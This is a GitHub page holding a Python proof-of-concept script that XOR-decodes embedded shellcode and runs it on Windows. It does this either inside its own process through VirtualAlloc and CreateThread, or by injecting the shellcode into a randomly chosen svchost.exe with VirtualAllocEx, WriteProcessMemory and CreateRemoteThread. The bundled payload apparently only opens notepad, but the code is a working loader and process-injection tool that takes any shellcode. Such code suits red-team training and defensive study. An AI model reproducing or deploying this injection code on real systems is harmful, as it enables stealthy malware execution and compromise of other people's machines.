forked from yoda66/PythonShellcodeRedux
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpyShellcode1.py
More file actions
executable file
·254 lines (220 loc) · 8.6 KB
/
pyShellcode1.py
File metadata and controls
executable file
·254 lines (220 loc) · 8.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
#!/usr/bin/env python3
import ctypes
import ctypes.wintypes as wt
import psutil
import random
import os
import platform
import sys
from notepad_x64_encrypted import notepad_x64_encrypted
from notepad_x86_encrypted import notepad_x86_encrypted
class ShellcodeExecute():
PROCESS_SOME_ACCESS = 0x000028
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
MEM_COMMIT_RESERVE = 0x3000
PAGE_READWRITE = 0x04
PAGE_READWRITE_EXECUTE = 0x40
PAGE_READ_EXECUTE = 0x20
def __init__(self, shellcode=None):
self.kernel32 = ctypes.windll.kernel32
self.kernel32_function_definitions()
domain = os.getenv('USERDOMAIN')
name = os.getenv('USERNAME')
self.username = '{}\\{}'.format(domain, name).lower()
if shellcode is None and platform.architecture()[0] == '64bit':
self.shellcode = self.xorme(notepad_x64_encrypted, 87)
else:
self.shellcode = self.xorme(notepad_x86_encrypted, 87)
menu = """
____________________________________________________________
Python Proof of Concept Shellcode Execution Techniques
Author: Joff Thyer, (c) 2020 River Gum Security LLC
____________________________________________________________
1. VirtualAlloc()/CreateThread() in same process
2. Inject into remote process with CreateRemoteThread()
9. Exit Program
"""
done = False
while not done:
print(menu)
try:
s = int(input(" Enter your selection: "))
except:
continue
if s == 1:
self.SCE_SameProcess()
elif s == 2:
self.SCE_InjectProcess()
elif s == 9:
done = True
def kernel32_function_definitions(self):
# CloseHandle()
self.CloseHandle = ctypes.windll.kernel32.CloseHandle
self.CloseHandle.argtypes = [wt.HANDLE]
self.CloseHandle.restype = wt.BOOL
# CreateThread()
self.CreateThread = ctypes.windll.kernel32.CreateThread
self.CreateThread.argtypes = [
wt.LPVOID, ctypes.c_size_t, wt.LPVOID,
wt.LPVOID, wt.DWORD, wt.LPVOID
]
self.CreateThread.restype = wt.HANDLE
# CreateRemoteThread()
self.CreateRemoteThread = ctypes.windll.kernel32.CreateRemoteThread
self.CreateRemoteThread.argtypes = [
wt.HANDLE, wt.LPVOID, ctypes.c_size_t,
wt.LPVOID, wt.LPVOID, wt.DWORD, wt.LPVOID
]
self.CreateRemoteThread.restype = wt.HANDLE
# HeapAlloc()
self.HeapAlloc = ctypes.windll.kernel32.HeapAlloc
self.HeapAlloc.argtypes = [wt.HANDLE, wt.DWORD, ctypes.c_size_t]
self.HeapAlloc.restype = wt.LPVOID
# HeapCreate()
self.HeapCreate = ctypes.windll.kernel32.HeapCreate
self.HeapCreate.argtypes = [wt.DWORD, ctypes.c_size_t, ctypes.c_size_t]
self.HeapCreate.restype = wt.HANDLE
# OpenProcess()
self.OpenProcess = ctypes.windll.kernel32.OpenProcess
self.OpenProcess.argtypes = [wt.DWORD, wt.BOOL, wt.DWORD]
self.OpenProcess.restype = wt.HANDLE
# RtlMoveMemory()
self.RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
self.RtlMoveMemory.argtypes = [wt.LPVOID, wt.LPVOID, ctypes.c_size_t]
self.RtlMoveMemory.restype = wt.LPVOID
# VirtualAlloc()
self.VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
self.VirtualAlloc.argtypes = [
wt.LPVOID, ctypes.c_size_t, wt.DWORD, wt.DWORD
]
self.VirtualAlloc.restype = wt.LPVOID
# VirtualAllocEx()
self.VirtualAllocEx = ctypes.windll.kernel32.VirtualAllocEx
self.VirtualAllocEx.argtypes = [
wt.HANDLE, wt.LPVOID, ctypes.c_size_t,
wt.DWORD, wt.DWORD
]
self.VirtualAllocEx.restype = wt.LPVOID
# VirtualFreeEx()
self.VirtualFreeEx = ctypes.windll.kernel32.VirtualFreeEx
self.VirtualFreeEx.argtypes = [
wt.HANDLE, wt.LPVOID, ctypes.c_size_t, wt.DWORD
]
self.VirtualFreeEx.restype = wt.BOOL
# VirtualProtect()
self.VirtualProtect = ctypes.windll.kernel32.VirtualProtect
self.VirtualProtect.argtypes = [
wt.LPVOID, ctypes.c_size_t, wt.DWORD, wt.LPVOID
]
self.VirtualProtect.restype = wt.BOOL
# VirtualProtectEx()
self.VirtualProtectEx = ctypes.windll.kernel32.VirtualProtectEx
self.VirtualProtectEx.argtypes = [
wt.HANDLE, wt.LPVOID, ctypes.c_size_t,
wt.DWORD, wt.LPVOID
]
self.VirtualProtectEx.restype = wt.BOOL
# WaitForSingleObject
self.WaitForSingleObject = self.kernel32.WaitForSingleObject
self.WaitForSingleObject.argtypes = [wt.HANDLE, wt.DWORD]
self.WaitForSingleObject.restype = wt.DWORD
# WriteProcessMemory()
self.WriteProcessMemory = self.kernel32.WriteProcessMemory
self.WriteProcessMemory.argtypes = [
wt.HANDLE, wt.LPVOID, wt.LPCVOID,
ctypes.c_size_t, wt.LPVOID
]
self.WriteProcessMemory.restype = wt.BOOL
def select_pid(self):
candidates = {}
for pid in psutil.pids():
p = psutil.Process(pid)
try:
name = p.name()
username = p.username().lower()
except:
continue
if self.username == username and name == 'svchost.exe':
candidates[pid] = name
choice = random.choice(list(candidates.keys()))
print('[*] Selected Process ID: {} ({}) to Inject'.format(
choice, candidates[choice]
))
return int(choice)
def xorme(self, buf, k):
res = b''
for ch in buf:
res += chr(ch ^ k).encode('latin1')
return res
def SCE_SameProcess(self):
print("""
[*] =============================================
[*] Shellcode Resident in Same Process using
[*] VirtualAlloc()/CreateThread()!
[*] =============================================""")
memptr = self.VirtualAlloc(
0, len(self.shellcode),
self.MEM_COMMIT_RESERVE,
self.PAGE_READWRITE
)
print('[*] VirtuallAlloc() Memory at: {:08X}'.format(memptr))
self.RtlMoveMemory(memptr, self.shellcode, len(self.shellcode))
print('[*] Shellcode copied into memory.')
oldp = ctypes.pointer(wt.DWORD())
self.VirtualProtect(memptr, len(self.shellcode), self.PAGE_READ_EXECUTE, oldp)
print('[*] Changed permissions on memory to READ_EXECUTE only.')
thread = self.CreateThread(0, 0, memptr, 0, 0, 0)
print('[*] CreateThread() in same process.')
self.WaitForSingleObject(thread, 0xFFFFFFFF)
def SCE_InjectProcess(self):
print("""
[*] =======================================================
[*] Find a process to inject shellcode into using process
[*] listing, then VirtualAllocEx(), WriteProcessMemory(),
[*] CreateRemoteThread()
[*] =======================================================""")
pid = self.select_pid()
ph = self.kernel32.OpenProcess(self.PROCESS_SOME_ACCESS, False, pid)
print('[*] Process handle is: 0x{:06X}'.format(ph))
if ph == 0:
return
memptr = self.VirtualAllocEx(
ph, 0, len(self.shellcode),
self.MEM_COMMIT_RESERVE,
self.PAGE_READWRITE
)
print('[*] VirtualAllocEx() memory at: 0x{:08X}'.format(memptr))
if memptr == 0:
return
nbytes = ctypes.c_int(0)
result = self.WriteProcessMemory(
ph, memptr, self.shellcode,
len(self.shellcode), ctypes.byref(nbytes)
)
print('[+] Bytes written = {}'.format(nbytes.value))
if result == 0:
print("[-] WriteProcessMemory() Failed - Error Code: {}".format(
self.kernel32.GetLastError()
))
return
oldp = ctypes.pointer(wt.DWORD())
result = self.VirtualProtectEx(
ph, memptr, len(self.shellcode),
self.PAGE_READ_EXECUTE, oldp
)
if result == 0:
print("[-] VirtualProtectEx() Failed - Error Code: {}".format(
self.kernel32.GetLastError()
))
return
th = self.CreateRemoteThread(ph, None, 0, memptr, None, 0, None)
if th == 0:
print("[-] CreateRemoteThread() Failed - Error Code: {}".format(
self.kernel32.GetLastError()
))
return
self.VirtualFreeEx(ph, memptr, 0, 0xC000)
self.CloseHandle(ph)
if __name__ == '__main__':
ShellcodeExecute()